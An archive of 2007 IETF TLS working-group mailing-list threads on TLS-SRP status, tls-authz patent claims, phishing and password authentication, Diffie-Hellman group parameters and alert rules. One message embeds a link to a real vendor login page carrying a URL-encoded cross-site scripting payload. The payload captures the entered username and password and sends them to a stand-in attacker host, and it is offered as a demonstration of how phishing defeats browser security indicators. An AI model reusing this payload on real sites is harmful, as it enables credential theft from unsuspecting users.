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From: Yoav Nir <ynir@checkpoint.com>
Subject: Re: [TLS] Straw poll on TLS SRP status
Date: Fri, 1 Jun 2007 11:24:30 +0300
To: Peter Gutmann <pgut001@cs.auckland.ac.nz>
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I know SRP has the capability to do the whole key exchange, but why  
do we need it.

The problem that both extensions are trying to solve is the problem  
of using passwords for authentication within TLS. TLS has a perfectly  
good way for keying already.

But again, I'm not saying that SRP should not be used. I'm only  
saying that we don't need its key-exchange capabilities in this  
particular context.

On May 30, 2007, at 6:15 PM, Peter Gutmann wrote:

> Yoav Nir <ynir@checkpoint.com> writes:
>
>> I think SRP should not be a stand-alone extension, but rather that  
>> it should
>> be introduced as part of EAP.
>>
>> The choice is between separate extensions for SRP and for each  
>> authentication
>> method, or to introduce them all at once under EAP, as was done in  
>> IKEv2.
>
> Is it possible to do this though?  Using the taxonomy I posted  
> earlier, TLS-
> SRP would seem to fall into the "modify the crypto portion of the TLS
> handshake" bucket (alongside TLS-KRB5 and TLS-PSK), which means  
> that you
> couldn't really do it inside EAP.  Admittedly you could do a  
> standard TLS
> handshake and then follow it up with SRP inside EAP purely for the
> authentication portion, but that seems (a) messy (see draft-iab- 
> auth-mech-*)
> and (b) a bit of a waste of SRP's capabilities, since it can do the  
> whole key
> exchange step as well.
>
> Peter.
>


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From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: martin.rex@sap.com
Subject: Re: [TLS] Straw poll on TLS SRP status
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Martin Rex <Martin.Rex@sap.com> writes:

>The main reason why I brought it up is because most the installed base is
>able to cope with SSL clients certs.

I think you need to break that down into two parts: The majority of the
installed (SSL-using) application base can process client certs.  However, the
vast majority of the installed user base is totally unable to handle client
certs.  See e.g. "In search of usable security - five lessons from the field"
by Balfanz et al (that's the first one that comes to mind, I can dig up a
dozen others if people want).  All of them come to pretty much the same
conclusion: PKI/certs are too complex for the average person to handle.  The
phishing industry can confirm this - you can't argue with $4 billion a year
(YMMV) in profits based on lack of proper auth mechanisms in browsers.

>I would not want to see additional password-based authentication schemes to
>be promoted that require significant changes to then entire
>infrastructure/middleware, because this will only add new problems, and not
>really solve any of the existing problems.

The existing problem is that we have nothing that offers even the most trivial
resistance to phishing, and that after 15-odd years of trying we still can't
get past username+password without first performing a firmware upgrade of a
billion-odd users worldwide, which is unlikely to ever happen.

For a nice example of how this will hit even expert users, go to

https://www.zonealarm.com/store/application?namespace=zls_user&event=link.login&dc=34std&ctry=US&lang=en&hexkey=FEAB37CDAA8DC8F419BA56AA4B45C4AD8CF8496F921D8DA34A22CB284A36CAAA73F5C4F9C2B835EEA32F691CFC64249DAFAE221EC57677FBCC5171E151B8734CFF562FA4CA891A9EB908BFEB74D98DD38C110E933CA8A64DDA8E548D95E492FD5235F8EFA79101943E17B0E2017194398E46E80CF43099CD42A42CDC3EFFEBA&origin=glo%22%3E%3Cscript%3Efunction%20xss()%20%7B%0A%20var%20f%20%3D%20document.forms%5B2%5D%3B%20%2F%2F%20grab%20the%203rd%20form%20in%20the%20page%2C%20the%20login%20one%0A%20%0A%20if(!(f%20%26%26%20f.zl_user_name%20%26%26%20f.zl_user_password))%20return%20%2F%2F%20nothing%20to%20see%20here%0A%20if(f.zl_user_name.value%20%26%26%20f.zl_user_password.value)%20%7B%0A%20%20%20%2F%2F%20we've%20got%20everything%2C%20let's%20phone%20home%0A%20%20%20new%20Image().src%3D%22hxxp%3A%2F%2Felio-the-evil-hacker.com%3Fu%3D%22%20%2B%20%0A%20%20%20%20%20escape(f.zl_user_name.value)%20%2B%20%22%26p%3D%22%20%2B%20%0A%20%20%20%20%2
 0escape(f.zl_user_password.value)%3B%0A%0A%20%20%2F%2F%20OK%2C%20this%20is%20just%20a%20demo%0A%20%20document.body.innerHTML%20%3D%20%22Your%20credentials%20have%20just%20been%20stolen%3A%3Cbr%3E%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_name.value%20%2B%20%22%2C%20%22%20%2B%20%0A%20%20%20%20%20%20%20f.zl_user_password.value%20%2B%20%22%3Ch1%3EMWAHAHAHA!%3C%2Fh1%3E%22%3B%0A%20%20return%3B%0A%20%7D%0A%20if((f.zl_user_password.onchange%20%7C%7C%20null)%20%3D%3D%20xss)%20return%3B%0A%20f.zl_user_name.onchange%20%3D%20xss%3B%0A%20f.zl_user_password.onchange%20%3D%20xss%3B%0A%20%0A%7D%0Awindow.onload%20%3D%20xss%3B%3C/script%3E%3Cinput%20type%3D%22hidden%22%20name%3D%22bal.jsp

verify the SSL cert and every other browser security indicator you want, then
enter a (dummy) user name and password and hit enter (the result isn't
malicious, just unexpected).

Anyway, there are two solutions:

1. Sit back and wait for client certs to start working.  Hey, we've been
   waiting for fifteen-odd years already, they've gotta start working at some
   point, right?

2. Accept that username+password isn't going to go away (ever) and try and fix
   it by providing a proper security mechanism for it (mutual-auth challenge-
   response, for example).

I'm going for #2, which would seriously impact phishing if properly
implemented (admittedly it's not a silver bullet, but it'd seriously raise the
bar for phishing attacks, which is a step in the right direction).

The phishers in contrast are counting on people opting for #1 instead.

>Here in Germany, most banks use an OTP-style approach (TAN) for
>authenticating transactions.

In a previous message I commented that the use of hand-over-the-password,
circa 1965, had to be the ultimate indictment of the failure of browser
authentication mechanisms, but I think this is even more damning: Banks are
having to resort to printing and mailing out lists of TANs (i.e. physical
distribution of codebooks), a technique going back to the middle ages, because
security protocol designers haven't been able to provide them with anything
better.  Instead of requiring organisations who care about security to get
medieval on your keyboard, let's give them something they can use.

>If we think that passwords are fundamentally flawed in this environment, we
>should not significantly prolong and promote their continued use by applying
>band aids.

Give me an alternative, backed by independent usability studies to show that
users will be able to handle it, and I'll go with it.  So far we have
*nothing* that can effectively replace passwords.  Again, I can cite any
number of HCI studies to back this up if you want.  To paraphrase Winston
Churchill, "passwords are the worst form of user authentication, except for
all the others".

Peter.

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From: Tom Wu <tjw@CS.Stanford.EDU>
To: tls@ietf.org
Subject: Re: [TLS] Straw poll on TLS SRP status
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Martin Rex:

> The document status is pretty much the only "incentive" that the
> IETF can put out for companies to slow down on their patents race
> or at least to come up with reasonable licensing terms (i.e. royalty free
> for Free and OpenSource software).

Keep in mind that in the context of this discussion, Stanford (SRP) and
Lucent (EKE) are competitors.  Knocking down TLS-SRP from Proposed to
Informational/Experimental rewards the player that did not do the "right"
thing (free licensing) at the expense of the player that did the "right"
thing (Stanford).  The last thing you want to do is to create an incentive
for players to do an IPR "denial of service" on a competitor's technology,
since this encourages "patent race" behavior.

Yoav Nir:

> I think SRP should not be a stand-alone extension, but rather that it should be introduced as part of EAP.

At the risk of being a bit blunt, if the EAP approach is so great, why has
more support grown around TLS-SRP instead?  I would also add that the two
parts of your statement are not mutually exclusive.  If you want to advance
EAP-SRP in TLS, great, but it is not a valid reason to slow down a standard
that is already in use and has seen a lot of scrutiny.

> I know SRP has the capability to do the whole key exchange, but why do we need it.

Perhaps we want the session to be secure against MITM attacks?

> The problem that both extensions are trying to solve is the problem of using passwords for authentication within TLS.
> TLS has a perfectly good way for keying already.

This is not necessarily directed at you in particular, since I've seen
several comments of this flavor in this discussion - there's this
assumption that transport security and password authentication are
separable and modular, but in the context of strong password protocols,
this assumption is false - in fact it is precisely this kind of
separation that would allow a MITM attack.  Password authentication
with low-entropy passwords is Harder Than You Think.  Little things
like which party sends which message first or whether one message
should only be sent after some other message has been received,
those can spell the difference between a secure password protocol
and an insecure one.  The TLS-SRP standard represents a great deal
of tweaking and analysis to make sure all the details are right.

Without a specific alternative password protocol to subject to
scrutiny, EAP or any other general proposal cannot really be
presented legitimately as an altenate "choice" to TLS-SRP at
this time since there is no way evaluate its security.  Just
saying it's SRP isn't enough without knowing how the transport
encryption/MAC keys are tied to the password-based key exchange.

Tom
-- 
Tom Wu
http://www-cs-students.stanford.edu/~tjw/

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From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: pgut001@cs.auckland.ac.nz, simon@josefsson.org
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Simon Josefsson <simon@josefsson.org> writes:

>Hold on!  Tls-authz isn't about authentication.  It is about authorization.

Oh, I see, so it's meant purely for authorisation and not as a general-purpose
container for auth*ation exchanges.  That's fine then.

There is one other problem with the draft and that's the presence of the
x509_attr_cert_url and saml_assertion_url mechanisms.  I think building
firewall-traversal proxy/DDoS-amplifier functionality into a security spec
probably isn't a very good idea.  Maybe these should be removed, I can't see
how you can secure a mechanism in which your server is meant to perform
arbitrary network access under the control of an untrusted client.

Peter.

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Subject: Re: [TLS] Straw poll on TLS SRP status
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On Jun 2, 2007, at 10:08 AM, Tom Wu wrote:

> Martin Rex:
>
>> The document status is pretty much the only "incentive" that the
>> IETF can put out for companies to slow down on their patents race
>> or at least to come up with reasonable licensing terms (i.e.  
>> royalty free
>> for Free and OpenSource software).
>
> Keep in mind that in the context of this discussion, Stanford (SRP)  
> and
> Lucent (EKE) are competitors.  Knocking down TLS-SRP from Proposed to
> Informational/Experimental rewards the player that did not do the  
> "right"
> thing (free licensing) at the expense of the player that did the  
> "right"
> thing (Stanford).  The last thing you want to do is to create an  
> incentive
> for players to do an IPR "denial of service" on a competitor's  
> technology,
> since this encourages "patent race" behavior.

It's not about punishing Stanford or rewarding Lucent. It's the  
question of whether or not you might get sued for implementing this.

> Yoav Nir:
>
>> I think SRP should not be a stand-alone extension, but rather that  
>> it should be introduced as part of EAP.
>
> At the risk of being a bit blunt, if the EAP approach is so great,  
> why has
> more support grown around TLS-SRP instead?  I would also add that  
> the two
> parts of your statement are not mutually exclusive.  If you want to  
> advance
> EAP-SRP in TLS, great, but it is not a valid reason to slow down a  
> standard
> that is already in use and has seen a lot of scrutiny.
>
>> I know SRP has the capability to do the whole key exchange, but  
>> why do we need it.
>
> Perhaps we want the session to be secure against MITM attacks?

Perhaps, but we don't need to have the key mixed into the encryption  
keys of TLS. It should be good enough to have the server prove it has  
access to the SRP key.  This was the approach taken in IKEv2, and it  
should also be good for EAP-in-TLS.



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There's already been enough arguments that I agree with about the
patent issue with this draft from Pasi, Simon and Dean.  I agree with
them all, and just want to add another voice against putting this
draft, as it currently stands with the patent claim, on the Standard
Track, and am in favor of putting it on the Experimental or
Informational tracks.

As a OpenSSL developer, I will oppose implementing authz in it unless
the patent issue is resolved in a satisfactory manner.

Cheers,
Richard

-- 
Richard Levitte                         richard@levitte.org
                                        http://richard.levitte.org/

"When I became a man I put away childish things, including
 the fear of childishness and the desire to be very grown up."
						-- C.S. Lewis

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Subject: [TLS] Issue #12: RSA/DSA/DH timing attacks
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http://www3.tools.ietf.org/wg/tls/trac/ticket/12

TLS 1.2 already requires some sort of defense against timing
analysis on RSA. It is known that timing analysis is possible
against DSA but I know of no published defense against it
other than fixed-length computations. (As opposed to the
blinding defense for RSA).

In San Diego, I asked Tim of NIST knew of one but haven't
heard back.

I'd like to put this to bed. I suggest that unless someone comes
up with a defense suggestion by Chicago we simply say that this
is an issue with DSA implementations and suggest fixed-length
computations as a possible defense. Comments?

-Ekr


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Subject: [TLS] Issue 15: Mandate protection against CBC mode timing attack
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http://www3.tools.ietf.org/wg/tls/trac/ticket/15

NIST's comments suggest that the defense suggested in 6.2.3.2
should be  mandatory. My argument is that hardware systems may
operate in fixed time or otherwise be safe and so we shouldn't
mandate any particular defense.

Proposed resolution: leave as-is.


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Subject: [TLS] Issue 16: Alert clarifications
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http://www3.tools.ietf.org/wg/tls/trac/ticket/16

Several people have raised the issue of what alerts must be fatal
and when they should be sent. NIST suggested that all fatal alerts
MUST be sent. They also suggested that the following alerts be fatal:

- bad_certificate, 
- unsupported_certificate
- certificate_revoked.
- certificate_expired

We discussed this in Prague and looking at the minutes, it looks
to me like the resolution was as follows:

- All fatal alerts MUST be sent
- For the above alerts, if you plan to tear down the connection
  on that basis you MUST make them fatal and send them
- Add a warning that some implementations tear down the connection
  for any alert so warning alerts are dangerous. New implementations
  SHOULD not tear down the connection for warning alerts.

Anyone disagree with this?

-Ekr

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Subject: [TLS] Issue 26: Implementation pitfalls
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http://www3.tools.ietf.org/wg/tls/trac/ticket/26

Pasi suggested an implementation pitfalls section. I'm lukewarm
on this.

Proposed resolution: add if someone else writes. 

-Ekr

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Subject: [TLS] Issue 30: Reject RSA public exponent 1
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http://www3.tools.ietf.org/wg/tls/trac/ticket/30

Nelson Bolyard writes:
	Some time ago, mozilla was modified to detect and reject RSA
	keys with public exponents equal to 1.  Presumably, the
	readers of this list need no explanation of the implications
	of such keys.

	Now, mozilla users are encountering web sites whose certs have
	such keys.  At least one public CA has apparently issued one
	or more such certs.
	
	I'm reporting this here to alert the readers of this list who
	may wish to ensure that their implementations detect such
	keys, and to suggest that perhaps the TLS RFC should
	explicitly forbid the use of any public keys (RSA or
	otherwise) that facilitate such weak encryption and/or
	authentication by requiring implentations to detect and reject
	them.


My general feeling is that there are a broad category of "good crypto
practices" issues that don't apply specifically to TLS. I'd love to
see an RFC on them, but would rather not see them in TLS proper
since they need to be duplicated in every crypto-using RFC.

Proposed resolution: do nothing.

-Ekr

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http://www3.tools.ietf.org/wg/tls/trac/ticket/35

Pasi writes:

	IMHO it probably would make sense for a TLS implementation
	to use one of the groups specified in RFC 4306 or 3526,
	instead of e.g.  generating a random prime p (generating
	random primes is kind of slow, and then you have to worry
	about RFC 2785 etc.).
	
	(Would others agree with this recommendation? Should we add
	it to the TLS 1.2 spec?)

This also seems like general crypto advice to me.

Proposed resolution: do nothing.

-Ekr



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From: Eric Rescorla <ekr@networkresonance.com>
To: Bodo Moeller <bmoeller@acm.org>
Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys
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At Wed, 16 May 2007 00:43:51 +0200,
Bodo Moeller wrote:
> I'd suggest stating in the TLS specification that 'q' can only be
> included in the ServerKeyExchange message for the case of prime-order
> subgroups.  These are what you'd usually use, except sometimes if the
> DH subgroup is nearly as large as 'p', which is a case where knowing
> 'q' doesn't provide significant benefits anyhow.

So, I'm no DH expert, but my understanding is that there are three
common cases:

1. Randomly generated p with no special structure
2. Sophie-Germain primes where q is about p/2.
3. DSA-style groups where q<<p.

Only in the last case does carrying around q offer much benefit.

Is this common enough that it's worth changing the spec? It was
my understanding that we mostly encouraged people to use S-G primes
in any case.

-Ekr



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Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys
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On Sun, Jun 03, 2007 at 08:07:10AM -0700, Eric Rescorla wrote:
> At Wed, 16 May 2007 00:43:51 +0200,
> Bodo Moeller wrote:

>> I'd suggest stating in the TLS specification that 'q' can only be
>> included in the ServerKeyExchange message for the case of prime-order
>> subgroups.  These are what you'd usually use, except sometimes if the
>> DH subgroup is nearly as large as 'p', which is a case where knowing
>> 'q' doesn't provide significant benefits anyhow.

> So, I'm no DH expert, but my understanding is that there are three
> common cases:
> 
> 1. Randomly generated p with no special structure
> 2. Sophie-Germain primes where q is about p/2.
> 3. DSA-style groups where q<<p.
> 
> Only in the last case does carrying around q offer much benefit.

This is almost true.  (The first case should be avoided: if you want
to avoid the cost of finding a Sophie-Germain prime, use a DSA-style
group instead.  There are other cases of special structure besides #2
and #3 that are safe to use, though, and where you might not be using
a prime order subgroup.)

In the strong-prime case (#2: q is a Sophie-Germain prime, p = 2q + 1
is a strong prime), you'd have to be shown q (or do a very expensive
test) to positively know that p is indeed a strong prime.  Once you
know this, you can save time by using short DH exponents in this case
just as in the DSA-style case.  So knowing q is useful for the client
in the strong-prime case too.


> Is this common enough that it's worth changing the spec?

It could very well become common.  With the protocol as it is now,
there isn't that much gained by using a DSA-style group because this
only helps the server, not the client.  And those client
implementations that don't care about spending five times or so
more time than necessary on the DH exchange could simply ignore the
extra information.


>                                                          It was
> my understanding that we mostly encouraged people to use S-G primes
> in any case.

There is no reason to recommend strong primes over other primes for
ephemeral DH.  They can be quite useful when using a *fixed* DH key
(because if you use a DSA-style group, you'd need a subgroup
membership test, which essentially means you'd lose the performance
advantage of using a fixed DH key -- and then the total cost of the DH
exchange with a DSA-style group might even be higher than with a
strong prime and short exponents).  But there is no need to use a
fixed DH key for an ephemeral DH key exchange: usually, this should be
avoided.

We don't have to encourage people to use strong primes for the
ephemeral DH key exchange.  Rather, we should encourage them to use
properly ephemeral DH -- i.e., not to reuse DH keys for more than a
single handshake.  If they do that, then they can gain a lot by using
DSA-style groups.

Bodo


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To: Eric Rescorla <ekr@networkresonance.com>,Bodo Moeller <bmoeller@acm.org>
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Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys
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Eric:

>At Wed, 16 May 2007 00:43:51 +0200,
>Bodo Moeller wrote:
> > I'd suggest stating in the TLS specification that 'q' can only be
> > included in the ServerKeyExchange message for the case of prime-order
> > subgroups.  These are what you'd usually use, except sometimes if the
> > DH subgroup is nearly as large as 'p', which is a case where knowing
> > 'q' doesn't provide significant benefits anyhow.
>
>So, I'm no DH expert, but my understanding is that there are three
>common cases:
>
>1. Randomly generated p with no special structure
>2. Sophie-Germain primes where q is about p/2.
>3. DSA-style groups where q<<p.
>
>Only in the last case does carrying around q offer much benefit.
>
>Is this common enough that it's worth changing the spec? It was
>my understanding that we mostly encouraged people to use S-G primes
>in any case.

I think that FIPS 140 validated modules will use 3.  And then, one 
needs to know q to detect small subgroups.

Russ


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On 6/3/07, Eric Rescorla <ekr@networkresonance.com> wrote:
> http://www3.tools.ietf.org/wg/tls/trac/ticket/15
>
> NIST's comments suggest that the defense suggested in 6.2.3.2
> should be  mandatory. My argument is that hardware systems may
> operate in fixed time or otherwise be safe and so we shouldn't
> mandate any particular defense.

Perhaps we should mandate it for implementations that are vulnerable?

>
> Proposed resolution: leave as-is.
>
>
> _______________________________________________
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>

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Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys
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On Sun, Jun 03, 2007 at 01:21:36PM -0400, Russ Housley wrote:

>> So, I'm no DH expert, but my understanding is that there are three
>> common cases:
>> 
>> 1. Randomly generated p with no special structure
>> 2. Sophie-Germain primes where q is about p/2.
>> 3. DSA-style groups where q<<p.

>> [...]                                                    It was
>> my understanding that we mostly encouraged people to use S-G primes
>> in any case.

> I think that FIPS 140 validated modules will use 3.  And then, one 
> needs to know q to detect small subgroups.

You don't really have to check that other parties' public DH keys are
in the proper subgroup (that is, in the order-q subgroup) when using
*single-use* DH keys yourself.  There's nothing that could be gained
through small-subgroup attacks in this case, and thus no need to
check.

Of course, you do need q to efficiently perform DH operations in this
setting.  Since you don't need subgroup membership tests with them,
single-use DH keys are very practical.

Bodo


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To: Bodo Moeller <bmoeller@acm.org>
From: Russ Housley <housley@vigilsec.com>
Subject: Re: [TLS] Short Ephermal Diffie-Hellman keys
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Thanks for the correction and clarification.

Russ

At 03:47 PM 6/3/2007, Bodo Moeller wrote:
>On Sun, Jun 03, 2007 at 01:21:36PM -0400, Russ Housley wrote:
>
> >> So, I'm no DH expert, but my understanding is that there are three
> >> common cases:
> >>
> >> 1. Randomly generated p with no special structure
> >> 2. Sophie-Germain primes where q is about p/2.
> >> 3. DSA-style groups where q<<p.
>
> >> [...]                                                    It was
> >> my understanding that we mostly encouraged people to use S-G primes
> >> in any case.
>
> > I think that FIPS 140 validated modules will use 3.  And then, one
> > needs to know q to detect small subgroups.
>
>You don't really have to check that other parties' public DH keys are
>in the proper subgroup (that is, in the order-q subgroup) when using
>*single-use* DH keys yourself.  There's nothing that could be gained
>through small-subgroup attacks in this case, and thus no need to
>check.
>
>Of course, you do need q to efficiently perform DH operations in this
>setting.  Since you don't need subgroup membership tests with them,
>single-use DH keys are very practical.
>
>Bodo


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From: Bodo Moeller <bmoeller@acm.org>
To: Ben Laurie <benl@google.com>
Subject: Re: [TLS] Issue 15: Mandate protection against CBC mode timing attack
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On Sun, Jun 03, 2007 at 10:23:09AM -0700, Ben Laurie wrote:
> On 6/3/07, Eric Rescorla <ekr@networkresonance.com> wrote:

>> http://www3.tools.ietf.org/wg/tls/trac/ticket/15
>>
>> NIST's comments suggest that the defense suggested in 6.2.3.2
>> should be  mandatory. My argument is that hardware systems may
>> operate in fixed time or otherwise be safe and so we shouldn't
>> mandate any particular defense.

> Perhaps we should mandate it for implementations that are vulnerable?

That's exactly what the current I-D does: "MUST ensure that record
processing time is essentially the same whether or not the padding is
correct", and "[i]n general, the best way to do this is ...".
I don't see any reason to change the wording, so:

>> Proposed resolution: leave as-is.


Bodo


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Subject: Re: [TLS] Issue 16: Alert clarifications
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At 7:57 AM -0700 6/3/07, Eric Rescorla wrote:
>http://www3.tools.ietf.org/wg/tls/trac/ticket/16
>
>Several people have raised the issue of what alerts must be fatal
>and when they should be sent. NIST suggested that all fatal alerts
>MUST be sent. They also suggested that the following alerts be fatal:
>
>- bad_certificate,
>- unsupported_certificate
>- certificate_revoked.
>- certificate_expired
>
>We discussed this in Prague and looking at the minutes, it looks
>to me like the resolution was as follows:
>
>- All fatal alerts MUST be sent
>- For the above alerts, if you plan to tear down the connection
>   on that basis you MUST make them fatal and send them
>- Add a warning that some implementations tear down the connection
>   for any alert so warning alerts are dangerous. New implementations
>   SHOULD not tear down the connection for warning alerts.
>
>Anyone disagree with this?

I may be mistaken, but I thought there were comments to the effect of 
"implementations MUST NOT tear down connections based only on a 
warning". That's different than what you have in the last clause.

--Paul Hoffman, Director
--VPN Consortium

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Eric Rescorla wrote:
> http://www3.tools.ietf.org/wg/tls/trac/ticket/16
> 
> Several people have raised the issue of what alerts must be fatal
> and when they should be sent. NIST suggested that all fatal alerts
> MUST be sent. They also suggested that the following alerts be fatal:
> 
> - bad_certificate, 
> - unsupported_certificate
> - certificate_revoked.
> - certificate_expired
> 
> We discussed this in Prague and looking at the minutes, it looks
> to me like the resolution was as follows:
> 
> - All fatal alerts MUST be sent
> - For the above alerts, if you plan to tear down the connection
>   on that basis you MUST make them fatal and send them
> - Add a warning that some implementations tear down the connection
>   for any alert so warning alerts are dangerous. New implementations
>   SHOULD not tear down the connection for warning alerts.

Why not require that a fatal alert be sent any time that the connection
is going to be torn down due to a protocol error of any kind?
That is, any time an error occurs in the TLS protocol which is severe
enough that the connection will be terminated, send a fatal alert first.
This would greatly improve diagnosis of problems.

-- 
Nelson B

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	micalg=sha1; boundary="------------ms050903040007090307050609"

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Pasi.Eronen@nokia.com wrote:
> Folks,
>
> The one remaining issue with TLS SRP is its intended status (Proposed
> Standard, Informational, or Experimental). I and Eric think we need
> more data to determine consensus here, so this message starts a
> two-week straw poll on this issue. (Our apologies that this has 
> taken so long; this poll should have been some time ago already.)
>
> The question is: Do you support advancing draft-ietf-tls-srp as 
> Proposed Standard? 
>
>    [ ] Yes.
>    [ ] I think Informational/Experimental is better.
>    [ ] I don't care about the status, just get it published.
>    [ ] Something else, please state:
>
>   
Yes.

The IPR concerns only a small part of the world's population.


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_______________________________________________
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From tls-bounces@lists.ietf.org Mon Jun 04 15:17:39 2007
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Subject: RE: [TLS] Straw poll on TLS SRP status
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From: "Kemp, David P." <DPKemp@missi.ncsc.mil>
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Peter,

I don't see how either #1 or #2 would have much impact on phishing.

Scenario:
1) Server-authenticated TLS to a phishing server with a plausible
   variation on a targeted legitimate server name
2) User ignores padlock and other cert-related HMI information
  (if the user actually checked the authenticated server name and
   recoiled in horror if not as expected, then phishing would not
   be a problem)
3) User authenticates with a) nothing, b) http basic auth, c) client
   cert, or d) SRP - it doesn't matter which
4) Phishing server puts up a form that says: enter SSN, mother's
   maiden name, and password.

If someone is phishing for information to enable identity theft,
then user authentication has no preventive benefit
whatsoever.  If someone is phishing for passwords for online
accounts, then the users who don't check server authentication
are also unlikely to non-comply with a socially-engineered
request to enter their password into a form.

SRP might raise the bar on password phishing slightly, but not
significantly.  And the bar on phishing for everything except
a targeted server's password would not be raised at all.

The way to prevent phishing is to make server authentication
work.  Attacking this problem with client authentication is like
driving screws with a hammer.  Any mechanism that permits the
user to know his password is vulnerable to phishing.  And any
password mechanism that is not vulnerable to phishing, like a browser
module that invisibly generates random passwords for TLS
authenticated web sites and only regurgitates a password to
the site it was generated for, has the same operational issues
as client certs (server needs to request password generation,
user needs to carry p12s for portability to other machines, etc).

Dave


-----Original Message-----
From: Peter Gutmann [mailto:pgut001@cs.auckland.ac.nz]=20

Anyway, there are two solutions:

1. Sit back and wait for client certs to start working.  Hey, we've been
   waiting for fifteen-odd years already, they've gotta start working at
some
   point, right?

2. Accept that username+password isn't going to go away (ever) and try
and fix
   it by providing a proper security mechanism for it (mutual-auth
challenge-
   response, for example).

I'm going for #2, which would seriously impact phishing if properly
implemented (admittedly it's not a silver bullet, but it'd seriously
raise the
bar for phishing attacks, which is a step in the right direction).

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--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts 
directories.
This draft is a work item of the Transport Layer Security Working Group of the IETF.

	Title		: TLS Elliptic Curve Cipher Suites with SHA-256/384 and AES Galois Counter Mode
	Author(s)	: E. Rescorla
	Filename	: draft-ietf-tls-ecc-new-mac-01.txt
	Pages		: 8
	Date		: 2007-6-4
	
RFC 4492 describes elliptic curve cipher suites for Transport Layer
   Security (TLS).  However, all those cipher suites use SHA-1 as their
   MAC algorithm.  This document describes eight new CipherSuites for
   TLS/DTLS which specify stronger digest algorithms.  Four use HMAC
   with SHA-256 or SHA-384 and four use AES in Galois Counter Mode
   (GCM).

A URL for this Internet-Draft is:
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From tls-bounces@lists.ietf.org Mon Jun 04 18:59:16 2007
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From: Tom Wu <tjw@CS.Stanford.EDU>
To: Yoav Nir <ynir@checkpoint.com>
Subject: Re: [TLS] Straw poll on TLS SRP status
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On Sun, 3 Jun 2007, Yoav Nir wrote:

>
> On Jun 2, 2007, at 10:08 AM, Tom Wu wrote:
>
>> Martin Rex:
>> 
>>> The document status is pretty much the only "incentive" that the
>>> IETF can put out for companies to slow down on their patents race
>>> or at least to come up with reasonable licensing terms (i.e. royalty free
>>> for Free and OpenSource software).
>> 
>> Keep in mind that in the context of this discussion, Stanford (SRP) and
>> Lucent (EKE) are competitors.  Knocking down TLS-SRP from Proposed to
>> Informational/Experimental rewards the player that did not do the "right"
>> thing (free licensing) at the expense of the player that did the "right"
>> thing (Stanford).  The last thing you want to do is to create an incentive
>> for players to do an IPR "denial of service" on a competitor's technology,
>> since this encourages "patent race" behavior.
>
> It's not about punishing Stanford or rewarding Lucent. It's the question of 
> whether or not you might get sued for implementing this.

It _is_ precisely about punishment/reward - if you read the context of
my comments, you'll see that I was addressing Martin Rex's point about
the use of document status as incentive, and supplying information about
how the incentives would work in this particular case.

> Perhaps, but we don't need to have the key mixed into the encryption keys of 
> TLS. It should be good enough to have the server prove it has access to the 
> SRP key.  This was the approach taken in IKEv2, and it should also be good 
> for EAP-in-TLS.

Handwaving with the word "should" is easy, but there still isn't a
specific protocol that can be analyzed for security, or performance
for that matter - if there is one D-H exchange for the session
security keys and a separate key exchange for SRP, then you're
already at close to a factor-of-two performance disadvantage
compared to SRP-TLS.  It's not that I dislike EAP-in-TLS, but it's
not entirely fair to compare a real standard versus some theoretical
construct, especially if you always give the latter the benefit of
the doubt before it gets exposed to real design and engineering
tradeoffs.  This EAP discussion is a non-starter until someone
actually puts forth a specific SRP-EAP-TLS proposal.

Tom
-- 
Tom Wu
http://www-cs-students.stanford.edu/~tjw/

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From tls-bounces@lists.ietf.org Mon Jun 04 23:26:16 2007
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From: "Mark Brown" <mark@redphonesecurity.com>
To: "'Richard Levitte'" <richard@levitte.org>, <tls@ietf.org>
References: <20070528183851.2E07E33C1A@delta.rtfm.com><B356D8F434D20B40A8CEDAEC305A1F24042EF060@esebe105.NOE.Nokia.com>
	<20070603.133702.24219539.richard@levitte.org>
Subject: RE: [TLS] Comments on draft-housley-tls-authz-extns-07
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Richard,

I see that despite efforts to identify, bracket, and set aside the FUD
concerning the RedPhone Security patent application, uncertainty and doubt
remain.  I'd really like to cut through the FUD.  As I mentioned earlier,
the royalty free GUL only protects a single method of computing a Boolean
authorization result -- a method that I think is new.  Let's put aside fear,
uncertainty and doubt concerning one new method, when every other method --
all methods documented prior to the RedPhone Security patent filing, and
those discussed early in our consensus-building process
(http://tinyurl.com/2pvwgo ) -- are all available royalty-free under the
GUL.  

To put your comment in perspective, SSL was born as a patent (See USPTO
5,657,390, filed August 1995, issued August 1997 http://tinyurl.com/2cnuwv),
has dealt with patent issues throughout its lifecycle (see for example
http://tinyurl.com/26vjnh ), and thrived after Netscape's conditional but
royalty free license grant (see archives like http://tinyurl.com/24olgv ).
FAQ #1 on the OpenSSL website is still, "Do I need patent licenses to use
OpenSSL?" (http://www.openssl.org/support/faq.html#LEGAL1)  Even before the
Netscape SSL patent issued, EAY in 1996 made a list of cryptographic
algorithms that required special attention to IPR issues (
http://tinyurl.com/2ayy7d ).  And since 1997 there have been other patents
that apply to SSL/TLS - for example elliptic curve crypto (Certicom) which
has already been added to several TLS standards-track drafts and RFCs.  What
I think this history amounts to is that OpenSSL and its users can stomach a
handful of "off-limits" algorithms.  It's like a tradition for OpenSSL.. ;-)

There are now implementations of tls-authz in GNUTLS, on OpenSSL and NSS.
Free software carrying tls-authz is growing up around us whether we like it
or not.  Because it's free (libre) no one asked me and apparently they
didn't ask OpenSSL developers either.  Personally, I think that's great -- I
think sending SAML over TLS should be free (libre), and that's why I started
down the standards track in the first place.  No FUD: The GUL is just saying
that tls-authz should not be used to facilitate violations of a patent
pending access control method that I am confident is new.

Isn't a satisfactory resolution of "the patent issue" one where all people
get to use tls-authz royalty free for any purpose and using any non-patented
method?  Isn't that the best possible case?  With the exception of one
method that I expect will become patented, that's what's offered for
tls-authz under the GUL.  

--mark

> -----Original Message-----
> From: Richard Levitte [mailto:richard@levitte.org]
> Sent: Sunday, June 03, 2007 6:37 AM
> To: tls@ietf.org
> Subject: Re: [TLS] Comments on draft-housley-tls-authz-extns-07
> 
> There's already been enough arguments that I agree with about the
> patent issue with this draft from Pasi, Simon and Dean.  I agree with
> them all, and just want to add another voice against putting this
> draft, as it currently stands with the patent claim, on the Standard
> Track, and am in favor of putting it on the Experimental or
> Informational tracks.
> 
